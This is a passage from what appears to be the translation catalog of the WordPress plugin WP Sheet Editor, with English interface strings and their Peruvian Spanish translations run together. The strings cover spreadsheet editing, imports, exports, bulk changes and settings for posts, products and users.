them.When you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users.When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports.When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.When you use WordPress multisite and you delete a user in the users spreadsheet, by default we only remove the user from the current site but the user remains in the network. Activate this option if you want to delete the user account from the entire networkWhich duplicates do you want to delete?Which rows do you want to export?Which variations do you want to copy?WidthWith our editor you will be able to edit all the information of
                  your %s saving you a lot of time.With these filesWith thisWith this fileWith this termWooCommerce - BASIC integrationWooCommerce - Products IntegrationWooCommerce CouponsWooCommerce Coupons SpreadsheetWooCommerce Customers SpreadsheetWooCommerce Orders SpreadsheetWooCommerce productsWordPress FieldWordPress fieldWordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.Writing type not allowed.Wrong data formatWrong file extension. We accept CSV onlyWrong file urlWrong product type. Make sure it is a variable product.XYOAST SEOYearsYesYes, remove everything after the text, including the textYou are not allowed to do this action. Please reload the page or log in again.You can activate this option if you want to add html classes, and use those html classes to change the cell colors for each status using custom CSSYou can change the language of this post. If the translation for the new language exists, this change will not be applied.You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations.You can create new items hereYou can do this multiple timesYou can edit your Media information like:You can edit your WooCommerce products information like:You can find all the settings here, like columns visibility, etc.You can read our FAQ with a list of hundreds of questionsYou can resize the editorYou can search by any field using operators. I.e. price > 100, image != (empty)You can select the rows for the edit in the first option of this form.You can start using the spreadsheet editor in just 5 minutes. Please follow these steps.You can use variables to insert the value of any column.You do not have permission to delete posts.You dont have enough permissions to create new rows.You dont have enough permissions to do this action.You dont have enough permissions to execute this action.You dont have enough permissions to load rows.You dont have enough permissions to save changes.You dont have enough permissions to search taxonomy terms.You dont have enough permissions to view this page.You entered an invalid formula. Please double check or contact us.You have modified posts. Please save the changes because we will refresh the spreadsheet.You have modified posts. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?You have modified rows. Please save the changes before removing columns from the spreadsheet.You must enter a file name in this field (not full path) and upload the file to the folder %sYou must enter the full hierarchy like parent > childYou need to configure your Google Maps API key to save the Google Maps columns. This is required by Advanced Custom Fields, you can follow this tutorialYou need to load the rows manually because you deactivated the automatic loading of rows. Change the settingsYou need to login to view this page.You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu.You selected 0 rows to be deleted completely.You selected a column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them.You will be able to type numbers without formatting, for example: 999999.88 or 100, and we will automatically save them in the formatted way. This conversion will happen when you save and not live when you edit in the cells and you will see the modified values on the next spreadsheet reload.You will be able to type the post title in the cell and the cell will show a dropdown with suggestions.You will be able to type the term name in the cell and the cell will show a dropdown with suggestions.You will be able to type the username in the cell and the cell will show a dropdown with suggestions.Your server was not able to process this batch. Do you want to try again?Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely.emptyis featured?orto{deleted} duplicates have been removed.{total_created} of {total} variations created.{updated} attributes have been merged.{updated} items saved of {total} items that need saving.Project-Id-Version: Report-Msgid-Bugs-To: PO-Revision-Date: 2023-07-19 13:16-0600 Last-Translator: Language-Team: Language: es_PE MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 3.3.1 (Puedes remover estos mensajes de ayuda en los ajustes avanzados) (Premium. Probar Gratis por 7 Días ) Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los archivos de exportación se borran automáticamente después de %d horas. Algunas columnas tienen el botón para cambiar el formato%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas actualizadas y {total_created} filas creadas.%s filas serán editadas.%s variaciones creadas.%s: Hojas de cálculo permitidas(Instalar extensión gratuita)(Extensión Pro)- -- Primero, edita un elemento en el editor normal y rellena todos los campos manualmente.- Si la solución anterior falló, puedes crear nuevas columnas manualmente.- Quizá eliminaste las columnas de la lista.- Podemos ayudarte.- Podemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente. Versión Lite. Mostrando todos los productos y todos los campos como columnas, 15 columnas son editables y el resto son sólo de lectura.
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, editar todos los campos en miles de productos a la vez.. Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de Trabajo. Agrega categorías hijas usando este formato: Padre > hija1 > hija2. Recomendamos que incrementes la memoria del servidor al menos hasta 256mb para prevenir errores del servidor. Tutorial...1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las primeras 5 filas del archivo.2. Por favor, haz una copia de seguridad antes de ejecutar la importación, para que puedas revertirla en caso de que hayas usado una configuración incorrecta o el archivo sea erróneo. La importación guardará la información directamente.Leer más.Editando el campo: {field_label}Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona.Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, hacer búsquedas avanzadas, ver toda la información en una página, y más.Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez sin colapsar tu servidor, ver toda la información de envío/facturación/buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho más. Descargar el Plugin Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de productos en una hoja de cálculo, realizar búsquedas avanzadas, editar cientos de variaciones a la vez, copiar variaciones a varios productos, etc. Descargar PluginConsejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes errores al guardar? Guardar menos filas por loteWP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas a la vez en nuestra hoja de cálculo. Abrir en una hoja de cálculo
                  Usar el cupón: %s

                  La exportación finalizó.

                  La descarga debería empezar automáticamente.

                  WP Sheet Editor

                  ¿Quieres instalar el plugin premium que compraste? Sigue estos pasos:

                  1. Si estabas usando la versión gratuita del plugin antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. Cuando compraste el plugin, recibiste un correo electrónico con el enlace de descarga y la clave de licencia.
                  3. ahora ve a esta página y haz clic en el botón "Subir plugin".
                  4. Sube el archivo zip del plugin.
                  5. Activa el plugin.
                  6. Verás una pantalla solicitándote la licencia. Ingresa la licencia.
                  7. Listo. Ahora deberías ver la página de bienvenida donde puedes configurar y comenzar a usar el plugin.

                  Si necesitas ayuda, puedes contactarnos

                  ¿Falta una columna?

                  o
                • El rol de administrador de tienda puede ver y editar productos WooCommerce.
                • Añadir una herramienta de "duplicar" a la hoja de cálculo. Puedes seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias.

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la hoja de cálculo automáticamente. Así que puedes editar campos personalizados fácilmente.

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para los mercados donde los vendedores deben editar los productos en la hoja de cálculo, permitir el envío de entradas o eventos en el frontend, directorios de eventos, aplicaciones web, tableros personalizados, etc.

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: Copiar el precio normal al precio de rebajado, actualizar los nombres de los atributos de los productos, etc.

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, "Precio normal x Precio de inventario / Precio rebajado

                  Editar el título, la descripción, la palabra clave y la puntuación de SEO en la hoja de cálculo

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo de productos, incluyendo Productos Variables, Productos Descargables, Productos Externos, Productos Simples. Puedes editar todos los campos de productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo perfiles básicos y realizar búsquedas básicas.

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de membresía, directorios de eventos, directorios de negocios, directorios de usuarios.

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos los post types personalizados.

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o campos personalizados.

                  Buscar en múltiples campos con operadores avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar productos de la categoría Audio con inventario < 20, o productos de la categoría Manzana sin imagen destacada, o productos que contengan la palabra clave "Google" y que no tengan galerías de imágenes.

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los clientes de WooCommerce, los comentarios de los eventos, los testimonios y las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas por cualquier campo (palabra clave, nota de pedido, estado, encontrar comentarios por post type, y todos los campos). Puedes editarlos masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas externos, importar comentarios y reseñas de otros sistemas, y más.

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. Importar. Eliminar filas en lotes. Y mucho más.

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y mucho más.

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y guardarlo para sesiones futuras.

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y autor.

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los campos de cupones. Búsqueda avanzada por cualquier campo. Generar automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. Y mucho más.

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. Crear descargas y archivos masivamente. Editar cientos de productos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más.

                  Ver todos los eventos del plugin The Events Calendar en una hoja de cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y mucho más.

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja de cálculo. Editar perfiles rápidamente. Ver y editar la información de facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. Exportar clientes a Excel o Google Sheets. Importar clientes desde aplicaciones externas.

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, productos, etc.). Exportar pedidos e información de clientes incluyendo clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca de medios de WordPress en una hoja de cálculo. Editar todos los campos de los archivos, incluyendo el texto alternativo, la leyenda, las descripciones de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de manera automática los textos alternativos, las leyendas, etc. usando el título o las categorías de las entradas principales. Actualizar miles de archivos a la vez. Y mucho más.

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la esquina de la celda a otras celdas, como lo haces en Excel.

                  Puedes crear columnas para campos personalizados.
                  Editar la configuración de la página añadida por el tema, los detalles del evento, la información de los productos, etc.

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar de mostrar "Autor" en la hoja de cálculo, puedes cambiarlo a "Subido por".

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de cálculo.

                  Editando el campo: {column_label}. Filas a procesar: {total}, Progreso: {progress_percentage}%%, Hemos actualizado {edited} filas.

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los ajustes de la edición masiva son correctos antes de ejecutar.

                  Completo

                  .

                  Extensiones gratuitas

                  Envía notificaciones por correo electrónico a los usuarios de forma masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/miembros de un foro/afiliados/comentaristas del blog por país, ciudad, estado, recuento de pedidos, etc., y enviarles correos electrónicos importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar la entrega de los correos electrónicos y tener en cuenta el consentimiento de los usuarios y las leyes de privacidad.

                  El guardado automático falló. Tus cambios no se guardaron completamente debido a un error. Puedes intentarlo de nuevo más tarde. Si el error persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta.

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana emergente. Ver los cambios masivos programados.

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado debido a un error.

                  Puedes cerrar esta ventana.

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. Ver los cambios programados.

                  Los cambios no se guardaron completamente. El proceso fue cancelado debido a un error .

                  Puedes cerrar esta ventana emergente.

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las exportaciones programadas.

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. Ver las importaciones programadas.

                  La importación ha terminado

                  Puedes cerrar esta ventana.

                  El proceso ha terminado

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y gestionar rápidamente tu sitio web de donaciones.

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, descripción, fecha, SKU, precio normal, precio rebajado, estado de inventario, gestión del inventario, cantidad de existencias.

                  Más columnas y tipos de producto disponibles como extensión premium.

                  ¿Merecemos 5 estrellas? Sí, lo merecen. . - . No¿Falta una columna?¿Falta una columna? Habilítala ¿Faltan campos? Haz clic aquíACF: ¿Mostrar las casillas de verificación como desplegados de selección múltiple?Aceptar posts de este post typeAceptar términos de esta taxonomíaAcciónActivar el modo de pantalla completaActiva esta opción para eliminar los botones de paginación y cargar las filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas al mismo tiempo, puedes cargar miles de filas sin problemas.Filtros activos:Activo.Añadir NuevoAgregar nuevas columnas a la hoja de cálculoAgregar Nueva Hoja de CálculoAgrega un nombre para este grupo de columnasAñadir una llamada a la acción o cualquier texto al principio o al final de tus postsAñadir columnas nuevas para campos personalizadosAgrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.¿Añadir clases html a las celdas " estado de la entrada " en función de sus valores?Añadir nuevoAñadir nueva columnaAñadir un nuevo post typeAgregar tiempo a las fechas existentesEl rol de administrador puede ver y editar todo.Advanced Custom FieldsBúsqueda AvanzadaAjustes AvanzadosModo avanzadoBúsqueda avanzadaConfiguración avanzadaTodas las Hojas de CálculoTodos los cambios fueron guardados.Se han guardado todos los elementos.Todas las funciones disponibles en la hoja de cálculo del backend pueden utilizarse en el frontend.Todos los parámetros se utilizarán para buscar variaciones en lugar de los productos principales.Todos los productos de la tiendaTodas las filas de mi lista actualTodos los productos variablesPermitirPermitir reservasPermitir saltos de línea en valores al exportar e importar?¿Permitir varios archivos por campo?¿Permitir varios posts por campo?¿Permitir varios términos por campo?Permitir HTML seguro en títulos de posts?¿Permitir editar esta columna en las filas de variaciones?¿Permitir editar usando fórmulas?¿Permitir ocultar la columna?¿Permitir ocultar esta columna en la página de ajustes?¿Permitir la importación de imágenes desde servidores FTP?¿Permitir renombrar la columna en la página de ajustes?¿Permitir renombrar la columna?¿Permitir ver el slug de la URL de la variación?¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier html en la columna de contenido del post?Permitir a los usuarios editar campos personalizados, añadir nuevas columnas al editor, habilitar campos, deshabilitar campos principales y ordenar los campos. Puedes personalizar completamente el editor frontend.Permite a tus clientes editar productos WooCommerce usando la hoja de cálculo sin tener que usar el escritorio de wp-adminPermite a los vendedores de tu mercado editar los productos masivamentePermite a los vendedores de tu mercado importar productos en el frontendPermite que tus lectores entreguen entradas del blog usando la hoja de cálculoPermite a los compradores de tu tienda descargar el catálogoPermite a los clientes de tu tienda realizar búsquedas avanzadas en el catálogo Permite a los empleados de tu tienda gestionar el inventario y los preciosPermite a tus visitantes publicar eventosPermitir, pero se avisará al clienteValores permitidosDescargadaTexto alternativo¿Ejecutar siempre la acción save_post después de editar cualquier fila de la entrada?Y más.Y ver vistas previas durante la ediciónCualquiera de estos valores (Ingresa múltiples valores separados por ;)Añadir al finalAplicación/SoftwareAplicar cambios masivamenteAplicar ajustes¿Seguro de que quieres borrar este post type? También borrarás los post en el post type¿Estás seguro de que quieres borrar esta columna?¿Estás seguro de que quieres eliminar esta vista de columnas?¿Estás seguro de que quieres eliminar esta tarea programada y todos sus archivos relacionados?¿Acoplar cada término de taxonomía de la jerarquía a los posts?Atributo %d por defectoAtributo %d globalNombre del atributo %dValor del/los atributo(s) %dAtributo %d visibleNombre del atributoValor(es) del atributoVisibilidad del atributoAtributosLos atributos aparecen como desplegables en la página del producto, donde el usuario puede seleccionar los colores, tamaños y cualquier atributo de la variación. Aquí se pueden definir las opciones por defecto seleccionadas en los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo funciona para Productos Variables y deben tener variaciones, de lo contrario los atributos por defecto no se guardarán.AutorEl rol de autor sólo puede ver y editar sus propios post y subir imágenes.Automático (por defecto)¿Reintentar automáticamente los lotes fallidos?Autocompletar las celdasAutomáticoComponentes disponiblesHojas de cálculo disponiblesHerramientas disponibles (opcional)Puntuación mediaBackend¿Permitir reservas?Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras actualizaciones.Búsqueda básicaPoner estas columnas en la lista negraMasivoEditor MasivoFunción de cambios masivosAcciones masivasEditar esta columna masivamenteCambio masivo no ejecutado. No se han encontrado elementos que cumplan los criterios.ComprarComprar el paquete¡Compra la extensión ahora!Por defecto, WordPress muestra una barra negra en la parte superior de la página cuando un usuario que ha iniciado sesión ve una página del frontend. La barra te permite acceder a wp-admin, cerrar sesión, editar la página actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar el código abreviado: [vg_display_logout_link] para mostrar el enlace de cierre de sesión.Por defecto, las fechas se muestran en un calendario, el contenido del post tiene una opción de editor de texto, las imágenes muestran una vista previa, etc. Puedes habilitar esta opción para que se muestre todo como texto sin formato y deshabilitar el formato elegante.Por defecto mostramos automáticamente columnas para todos los nuevos campos encontrados, así que cada vez que detectamos nuevos campos puedes verlos y editarlos inmediatamente. Pero esto puede "romper" tu orden de columnas o molestarte si has habilitado columnas específicas. Habilita esta opción para generar esas columnas pero dejarlas desactivadas para que puedas habilitarlas más tarde.Por defecto, mostramos comentarios en algunas columnas indicando el formato del valor o por qué están bloqueados. Por ejemplo, la columna de categorías muestra un consejo que indica que hay que separar los términos con una coma y cómo añadir categorías menores, las columnas de variaciones tienen un consejo que indica por qué están bloqueadas para los productos de los padres. Puedes activar esta opción para desactivar esos consejos.Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, programado, papelera. Sin embargo, algunos plugins registran estados personalizados: gestores de trabajos, comercio de madera. Habilita esta opción para mostrar todos los estados personalizados en la columna "status". CUIDADO. Mostraremos todos los estados de todos los post types en el desplegable porque es imposible saber el post type de cada estado al no poder separarlos. Haz esto sólo si eres un desarrollador.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los ID de los términos separados por comas.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los términos separados por comas.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y deshabilitar la lista infinita.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y desactivar la lista infinita.Por defecto, copiaremos todos los atributos y todas las variaciones y reemplazaremos las variaciones existentes. Puedes habilitar esta opción para copiar variaciones individuales y añadirlas a las variaciones existentes en el producto de destino.Por defecto, por razones de rendimiento, activamos los eventos de la API WC cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos de la API de WC cuando se edite cualquier campo, incluidos los campos no relacionados con WC.Por defecto, si el producto es variable, activamos la opción "Usar para variaciones" para ahorrarte tiempo y que puedas crear tus variaciones más rápido. Pero si prefieres activar esa opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, la columna "padre" muestra títulos y guarda utilizando títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. Esto es útil si tienes títulos duplicados y necesitas guardar el padre exacto por ID.Por defecto, el importador permite guardar imágenes usando URLs internas completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: ftp://user:password@host:port/path/to/image.png. Esto hará que la importación sea más lentaBy default, we create 100 copies per batchPor defecto, exportamos e importamos una columna llamada "Imágenes" con la imagen destacada y galería combinada. Habilita esta opción para exportar e importar una columna para la imagen destacada y una para la galería de imágenes.Por defecto, hacemos visibles los atributos en los productos cuando guardas cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si prefieres habilitar esta opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, sólo asignamos el último término de la jerarquía a las entradas porque WordPress las gestiona correctamente de forma automática. Pero si quieres asignar cada término a la entrada, incluyendo las categorías padre, habilita esta opción.Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí para ver previsualizaciones más grandes.Por defecto, eliminamos cualquier html inseguro de todas las columnas de la hoja de cálculo antes de guardar los valores. Puedes activar esta opción si quieres permitir a los superadministradores o administradores de WordPress añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala bajo tu propia responsabilidad.Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un campo de datos de la entrada (campos que no sean meta y taxonomías) por razones de rendimiento. Habilita esto si otros plugins no están detectando nuestros cambios o los webhooks no se están ejecutando.Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda avanzada, edición masiva, exportación, importación, etc), aunque estén deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar solo las columnas habilitadas.Por defecto, mostramos cada casilla de verificación como una columna separada, pero si tienes casillas de verificación con muchas opciones es posible que desees utilizar una columna con un desplegable en su lugar.Por defecto, mostramos el nombre del archivo como texto de vista previa junto a la miniatura, habilita esto para mostrar solo la miniatura y botones únicamente.Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas.Por defecto, al exportar una columna con imágenes, agregamos el ID del archivo a la URL para que al importar, sepamos el origen de la imagen y la guardemos más rápido. Activa esta opción para no agregar el ID a la URL, todo funciona bien al habilitar esta opción, solo que el guardado puede ser un poquito más lento.Por defecto, la importación se detiene cuando un producto hace referencia a una imagen rota y hay que corregir el problema en el archivo e iniciar una nueva importación. Habilita esta opción y te permitiremos importar productos sin imágenes cuando la URL de la imagen esté rotaCANTIDAD DE CARACTERES <CANTIDAD DE CARACTERES >CONTIENEColumna en el CSVColumna en el CSVArchivo CSVArchivo CSV desde mi computadoraArchivo CSV desde una URLArchivo CSV en el servidorUbicación del archivo CSVCalendarioCancelarCancelar la importaciónCancelar los cambios y cerrar la ventana emergentePoner en mayúsculas la primera letra de cada palabra del campo. Es decir, convertir "mi título" en "Mi Título".Poner en mayúsculas las palabrasLeyendaCuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el procedimiento.Nombre de la categoría...Tipo de celdaCambiar los ajustes de los atributosCambiar el color de fondoCambios guardadosLos cambios se guardaron con éxitoCasilla de verificaciónBorrar valorHaz clic aquí para exportar los ajustesHaz clic aquí para ver todas las columnas otra vezBotónClics ahorrados
                  (estimado)CerrarFormato de columnaGrupos de columnasClave de la columnaNombre de columnaColumna no encontrada. Intenta con otro criterio de búsqueda.Columna removida. Ve a "Ajustes > Ocultar/mostrar columnas" para habilitarla de nuevoConfiguraciones definidas en el gestor de columnasTamaños de las columnasTítulos de las columnasAncho de columna (pixeles)Las columnas no se pudieron guardar. Inténtalo de nuevo.Columnas creadas manualmenteLímite de columnasGestor de columnasRenombrar columnasRedimensionar columnasColumnas restauradas con éxito. Por favor, recarga la página para ver las columnas restauradas y habilitarlasVisibilidad de las columnasVisibilidad de las columnas y los Campos Personalizados (opcional)Recuento de comentariosComentariosHoja de Cálculo de Comentarios, Reseñas y Notas de PedidoContáctanosContiene palabra claveContenidoContinuarEl rol de colaborador sólo puede ver y editar sus propios posts, pero no puede subir imágenes.Copiar y pegar desde otra hoja de cálculo o tablaCopiar y pegar en la siguiente hoja de cálculoCopiar archivos de este producto: (Necesitas guardar los cambios después.)Copiar de otras columnasCopiar de esta columnaCopiar precio normal y disminuir en porcentajeCopiar el precio normal y disminuir en cantidadCopiar el valor de otros campos en este campo.
                  Ejemplo, copiar "precio rebajado" al campo "precio normal".Copiar las variaciones este/estos producto(s).Copiar variacionesCopiar variaciones y atributos de este producto:Copiar variaciones más rápido: Número de variaciones a copiar por loteCopiar variaciones de este productoCrear y copiar variaciones para los productos variables.Crear columnaCrear nuevas filas y actualizar las filas existentesCrear este número de variacionesCrear variaciones¿Crear variaciones para cada combinación de atributos?Ventas cruzadasMonedaHoja de cálculo actualHoja de Cálculo de Tablas de Bases de Datos PersonalizadasNombres de atributos personalizadosAtributo personalizado: %sColumnas personalizadasFórmula personalizadaTipos de post personalizados¿Personalizar las característicasModo oscuroFaltan datos, inténtalo de nuevo más tarde.Fuente de datosFechaFecha (GMT)Fecha y horaFecha InicialDíasDesactivar el prefetch de los datosSeparador de decimales¿Decodificar las comillas?Disminuir enDisminuir en númeroDisminuir en porcentajeDisminuye el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.Deducir tiempo de las fechas existentesPor defectoAtributo por defectoAtributos predeterminadosOrden por defectoPor defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o durante la importación, descargamos la imagen y la guardamos en la librería multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, cualquier descarga que supere eso será cancelada para evitar problemas de rendimiento.EliminarBorrar todoEliminar completamenteEliminar campoBorrar filas más rápido: Número de filas a borrar por loteBorrar filaBorrar filasEliminar campo serializado¿Borrar las imágenes adjuntas al borrar una entrada?Borrar los elementos nuevos y mantener el elemento más antiguoBorrar los elementos antiguos y mantener el elemento más reciente¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de cálculo?Video de demostraciónDescripciónDeshabilitar todas¿Deshabilitar la carga lenta de las celdas?Deshabilitar columna. Puedes habilitarla más tarde.¿Deshabilitar la promoción de extensiones?¿Desactivar las acciones posteriores al guardar cambios?¿Deshabilitar las estadísticas de inventario de productos?¿Deshabilitar el soporte de columnas serializadas?¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?¿Deshabilitar la activación automática de la opción "Es visible" para los atributos de los productos?¿Deshabilitar la activación automática de la opción "Usar para variaciones" para los atributos en los productos variables?¿Deshabilitar la detección automática del formato?¿Desactivar la carga automática de filas?¿No mostrar el nombre del archivo en la celda de las imágenes?¿Desactivar el modo de pantalla completa?¿Deshabilitar la api heartbeat en la hoja de cálculo?¿Deshabilitar la barra de ayuda?¿Deshabilitar la ventana emergente que te pide instalar extensiones importantes?¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?Deshabilita esta opción si estás usando un plugin de caché de objetos/bases de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. Cuando editas muchas entradas, WordPress intenta "limpiar" la caché incluso si no estás usando un plugin de caché, haciendo cientos de consultas innecesarias a la base de datos.¿Deshabilitar el widget de estadísticas de uso?DeshabilitadaSi desconectas el sitio actual de tu cuenta de Google y de la API de WP Sheet Editor, se detendrán las tareas de sincronización que hayas creado en este sitio. Sin embargo, las tareas de sincronización creadas por otros usuarios en este sitio, que se sincronizan con sus propias cuentas de Google, permanecerán activas. Tus otros sitios de WordPress seguirán funcionando con normalidad. ¿Quieres continuar?¿Mostrar el valor bruto en las celdas seleccionadas?Mostrar el editor de hojas de cálculo en el frontendMostrar el editor de hojas de cálculo en el frontendMostrar las variacionesNo permitir¿No copiar las imágenes de las variaciones?¿Quieres deshabilitar las columnas para los nuevos campos 